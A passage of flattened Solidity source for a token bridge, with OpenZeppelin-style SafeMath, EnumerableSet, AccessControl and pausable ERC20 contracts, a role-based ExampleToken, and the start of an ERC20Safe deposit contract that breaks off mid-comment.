@param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. */ function setResource(bytes32 resourceID, address contractAddress) external override onlyBridge { _setResource(resourceID, contractAddress); } /** @notice First verifies {contractAddress} is whitelisted, then sets {_burnList}[{contractAddress}] to true. @param contractAddress Address of contract to be used when making or executing deposits. */ function setBurnable(address contractAddress) external override onlyBridge{ _setBurnable(contractAddress); } /** @notice Used to manually release funds from ERC safes. @param tokenAddress Address of token contract to release. @param recipient Address to release tokens to. @param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to release. */ function withdraw(address tokenAddress, address recipient, uint256 amountOrTokenID) external virtual override {} /** @notice Used to approve spending tokens. @param resourceID ResourceID to be used for approval. @param spender Spender address. @param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to approve. */ function approve(bytes32 resourceID, address spender, uint256 amountOrTokenID) external virtual override {} function _setResource(bytes32 resourceID, address contractAddress) internal { _resourceIDToTokenContractAddress[resourceID] = contractAddress; _tokenContractAddressToResourceID[contractAddress] = resourceID; _contractWhitelist[contractAddress] = true; } function _setBurnable(address contractAddress) internal { require(_contractWhitelist[contractAddress], "provided contract is not whitelisted"); _burnList[contractAddress] = true; } } // File: contracts\libraries\SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: contracts\libraries\EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: contracts\utils\Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts\utils\AccessControl.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: contracts\utils\ERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_, uint8 decimals_) public { _name = name_; _symbol = symbol_; _decimals = decimals_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts\utils\ERC20Burnable.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // File: contracts\utils\Pausable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This is a stripped down version of Open zeppelin's Pausable contract. * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/EnumerableSet.sol * */ contract Pausable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { _whenNotPaused(); _; } function _whenNotPaused() private view { require(!_paused, "Pausable: paused"); } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenPaused() { _whenPaused(); _; } function _whenPaused() private view { require(_paused, "Pausable: not paused"); } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(msg.sender); } } // File: contracts\utils\ERC20Pausable.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20Pausable is ERC20, Pausable { /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } // File: contracts\ExampleToken.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev {ERC20} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract ExampleToken is Context, AccessControl, ERC20Burnable, ERC20Pausable { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor(string memory name, string memory symbol, uint8 decimals_) public ERC20(name, symbol, decimals_) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint"); _mint(to, amount); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); } } // File: contracts\ERC20Safe.sol pragma solidity 0.6.4; /** @title Manages deposited ERC20s. @notice This contract is intended to be used with ERC20Handler contract. */ contract ERC20Safe { using SafeMath for uint256; /** @notice Used to transfer tokens into the safe to fund proposals. @param tokenAddress Address of ERC20 to transfer. @param owner Address of current token owner. @param amount Amount of tokens to transfer. */ function fundERC20(address tokenAddress, address owner, uint256 amount) public { IERC20 erc20 = IERC20(tokenAddress); _safeTransferFrom(erc20, owner, address(this), amount); } /** @notice Used to gain custody of deposited token. @param tokenAddress Address of ERC20 to transfer. @param owner Address of current token owner. @param recipient Address to transfer tokens to. @param amount Amount of tokens to transfer. */ function lockERC20(address tokenAddress, address owner, address recipient, uint256 amount) internal { IERC20 erc20 = IERC20(tokenAddress); _safeTransferFrom(erc20, owner, recipient, amount); } /** @notice Transfers custody of token to recipient. @param tokenAddress Address of ERC20 to transfer. @param recipient Address to transfer tokens to. @param amount Amount of tokens to transfer. */ function releaseERC20(address tokenAddress, address recipient, uint256 amount) internal { IERC20 erc20 = IERC20(tokenAddress); _safeTransfer(erc20, recipient, amount); } /** 